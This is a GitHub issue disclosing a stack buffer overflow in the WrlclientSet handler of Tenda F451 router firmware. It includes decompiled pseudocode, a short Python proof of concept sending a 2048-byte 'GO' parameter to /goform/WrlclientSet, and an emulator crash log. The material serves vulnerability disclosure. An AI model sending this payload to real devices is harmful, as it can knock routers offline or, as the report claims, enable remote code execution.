

Jimi-Lab / cve Public

<> Code **Issues** 26 Pull requests Actions Projects Security and quality

New issue



The WrlclientSet function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow #12

Open



Jimi-Lab opened 2 weeks ago

Owner ...

Information

Vendor: Tenda
Product: F451_kfw_V1.0.0.7_cn_svn7958
Version: V1.0.0.7
Vulnerability: buffer overflow
Firmware Download: <https://www.tenda.com.cn/material/show/1597>
Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :
In WrlclientSet function,it reads in a user-provided parameter GO.

```

IDA View-A      Pseudocode-D      Pseudocode-C      Pseudocode-
1 int __fastcall WrlclientSet(int a1)
2 {
3     int v1; // r0
4     int v2; // r0
5     int v3; // r0
6     int v4; // r0
7     int v5; // r0
8     int v6; // r0
9     int v7; // r0
10    int v8; // r0
11    int v9; // r0
12    int v10; // r0
13    int v11; // r0
14    int v12; // r0
15    _DWORD v15[15]; // [sp+18h] [bp-14Ch] BYREF
16    char *nptr; // [sp+54h] [bp-110h]
17    _DWORD dest[8]; // [sp+58h] [bp-10Ch] BYREF
18    _DWORD src[8]; // [sp+78h] [bp-ECh] BYREF
19    char v19[32]; // [sp+98h] [bp-CCh] BYREF
20    char src_1[32]; // [sp+B8h] [bp-ACh] BYREF
21    _DWORD v21[2]; // [sp+D8h] [bp-8Ch] BYREF
22    _BYTE s[100]; // [sp+E0h] [bp-84h] BYREF
23    const char *s_1; // [sp+144h] [bp-20h]
24    void *v24; // [sp+148h] [bp-1Ch]
25    void *v25; // [sp+14Ch] [bp-18h]
26    void *v26; // [sp+150h] [bp-14h]
27    char *s1; // [sp+154h] [bp-10h]
28
29    memset(s, 0, sizeof(s));
30    v21[0] = 0;
31    v21[1] = 0;
32    memset(src_1, 0, sizeof(src_1));
33    memset(v19, 0, sizeof(v19));
34    memset(src, 0, sizeof(src));
35    memset(dest, 0, sizeof(dest));
36    s1 = (char *)sub_28BCC(a1, (int)"chkHz", (int)"0");
37    v26 = sub_28BCC(a1, (int)"remote_ssid", (int)"");
38    v25 = sub_28BCC(a1, (int)"remote_channel", (int)"");
39    v24 = sub_28BCC(a1, (int)"remote_maclist", (int)"");
40    v15[0] = sub_28BCC(a1, (int)"securityMode", (int)"0");
41    v15[1] = sub_28BCC(a1, (int)"wepSecOpt", (int)&unk_83398);
42    v15[2] = sub_28BCC(a1, (int)"keytype", (int)&unk_83398);
43    v15[3] = sub_28BCC(a1, (int)"keynum", (int)"1");
44    v15[4] = sub_28BCC(a1, (int)"hd_wep_key1", (int)&unk_83398);
45    v15[5] = sub_28BCC(a1, (int)"hd_wep_key2", (int)&unk_83398);
46    v15[6] = sub_28BCC(a1, (int)"hd_wep_key3", (int)&unk_83398);
47    v15[7] = sub_28BCC(a1, (int)"hd_wep_key4", (int)&unk_83398);
48    v15[8] = sub_28BCC(a1, (int)"length1", (int)&unk_83398);
49    v15[9] = sub_28BCC(a1, (int)"length2", (int)&unk_83398);
50    v15[10] = sub_28BCC(a1, (int)"length3", (int)&unk_83398);
51    v15[11] = sub_28BCC(a1, (int)"length4", (int)&unk_83398);
52    v15[12] = sub_28BCC(a1, (int)"pskSecOpt", (int)"1");
53    v15[13] = sub_28BCC(a1, (int)"pskCipher", (int)"1");
54    v15[14] = sub_28BCC(a1, (int)"pskSecret", (int)&unk_83398);
55    nptr = (char *)sub_28BCC(a1, (int)"interval", (int)"3600");
56    s_1 = (const char *)sub_28BCC(a1, (int)"GO", (int)"systation.asp");
57    SetValue("wl.extra.hz", s1);
58    if ( !strcmp(s1, "0") )
59    {
60        get_wl_cfg_info(24, 0, v21, src_1, 0);
61    }
62    else if ( !strcmp(s1, "1") )

```

```

91  v9 = sub_5196C(dest, "ssid", s);
92  SetValue(v9, v26);
93  v10 = sub_5196C(dest, "channel", s);
94  SetValue(v10, v25);
95  v11 = sub_5196C(src_1, "channel", s);
96  v12 = SetValue(v11, v25);
97  CommitCfm(v12);
98  PostMsgToNetctrl(43);
99  return sub_3A494(a1, s_1);
100 }

```

```
00050F18 WrlclientSet:46 (58F18)
```

And the variable `s_1` will be passed to the `sub_3A494` function without any length check, which may overflow the stack-based buffer `s_` by `sprintf`.

```

IDA View-A
Pseudocode-D
Pseudocode-
1 int __fastcall sub_3A494(int a1, const char *s_1)
2 {
3   char s_[128]; // [sp+Ch] [bp-90h] BYREF
4   char *v6; // [sp+8Ch] [bp-10h]
5
6   v6 = strchr(s_1, 63);
7   if ( v6 )
8     *v6 = 59;
9   memset(s_, 0, sizeof(s_));
10  sprintf(s_, "reboot.asp?page=%s", s_1);
11  return sub_28F8C(a1, s_);
12 }

```

As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution.

Proof of Concept (PoC)

```

import requests
url = "http://127.0.0.1/goform/WrlclientSet"
payload = {
'GO':b'a'*2048
}
res = requests.post(url=url,data=payload)

```

Overcome

```
poc9.py
1 import requests
2 url = "http://127.0.0.1/goform/WrlclientSet"
3 payload = {
4     'GO': 'b'a'*2048
5 }
6 res = requests.post(url=url, data=payload)
```

```
(base) jimi@jimi-virtual-machine:~/CVEFinder/TengDa/_F451_kfw_V1.0.0.7_cn_svn7958.bin.extracted/squashfs-root$ sudo chroot ./qemu-arm-static /bin/httpd
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
PostMsg msg create error
Post Msg failed.
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
(base) jimi@jimi-virtual-machine:~/CVEFinder/TengDa/_F451_kfw_V1.0.0.7_cn_svn7958.bin.extracted/squashfs-root$ python poc9.py
```

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects


Milestone

No milestone

Relationships

None yet

Development

 Code with agent mode

No branches or pull requests

Participants

